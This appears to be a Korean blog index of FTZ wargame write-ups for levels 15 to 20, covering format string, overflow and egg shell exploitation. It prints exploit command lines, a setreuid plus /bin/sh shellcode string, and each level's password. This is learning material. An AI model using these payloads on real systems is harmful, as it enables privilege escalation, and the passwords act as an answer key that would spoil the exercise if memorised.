Wargame & CTF/FTZ(19)
-
[FTZ] Level20 Write-up
포멧 스트링 버그를 이용한 문제이다. %x를 4번 쳤을때 방금 친 aaaa값이 나왔다. %n은 지금까지 출력한 바이트를 쓴다. 메인이 끝날때 소멸자를 실행하게 된다. 소멸자의 주소는 0x08049594이다. 소멸자+4에 주소를 쓰게되면 main함수가 끝나면 그 주소로 점프를 뛴다. 에그쉘의 주소는 0xbffff895이다. 이거를 둘로 쪼개서 0x08049598과 0x0804959a에 넣을것이다. (python -c 'print "\x98\x95\x04\x08\x9a\x95\x04\x08%63629x%4$n%51050x%5$n"';cat)|./attackme 일단 0x08049598과 0x0804959a를 맨 앞에 써준다. 그리고 0xf895-8=63629이므로 %63629x를 한다. x가 아니고 d, o..
2019.07.09 -
[FTZ] Level19 Write-up
아주 간단하게 에그쉘을 이용해서 쉘을 띄우면 되지만, setreuid가 없다. 그래서 setreuid가 들어간 쉘코드를 사용하면 된다. SHELLCODE:\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80 Level20 : we are just regular guys
2019.07.09 -
[FTZ] Level18 Write-up
check값이 \xdeadbeef면 통과이다. fds로 입력을 받는데, fds는 ebp-100이고, check는 ebp-104이다. 입력값이 0x08일 경우에 백스페이스때문에 fds(ebp-100)이 줄어들게 된다. 0x08을 4개 넣으면 ebp-100-4=ebp-104, 즉 count쪽으로 가게 된다. (python -c 'print "\x08\x08\x08\x08\xef\xbe\xad\xde"';cat)|./attackme Level19 : swimming in pink
2019.07.09 -
[FTZ] Level17 Write-up
Level16에서 shell 함수가 빠졌다. 그렇다면 call자리에 에그쉘을 넣으면 될것이다. Level18 : why did you do it
2019.06.23 -
[FTZ] Level16 Write-up
call값을 printit에서 shell로 바꿔줘야 한다. 0x38-16=40 이번에도 40을 주고 그 뒤에 주소값을 적으면 될것같다. 저기 위에 0x8048500을 잘 보자. 이것이 printit이다. 맨 위의 주소값이 0x08048500이다. 위에 써놓은 값과 같다. 저 값을 0x080484d0으로 바꾸면 된다. Level17 : king poetic
2019.06.23 -
[FTZ] Level15 Write-up
Level14와 매우 비슷하지만 이번에는 check가 포인터이다. 즉, check가 가리키는 메모리 값이 deadbeef여야 한다. 그냥 환경변수에다가 deadbeef를 등록하고, 그 주소값을 주면 어떨까 생각해봤다...! Level14에 썼던 명령어 그대로 사용하겠다. \xef\xbe\xad\xde값만 \xed\xfe\xff\xbf로 바꿔준다. Level16 : about to cause mass
2019.06.23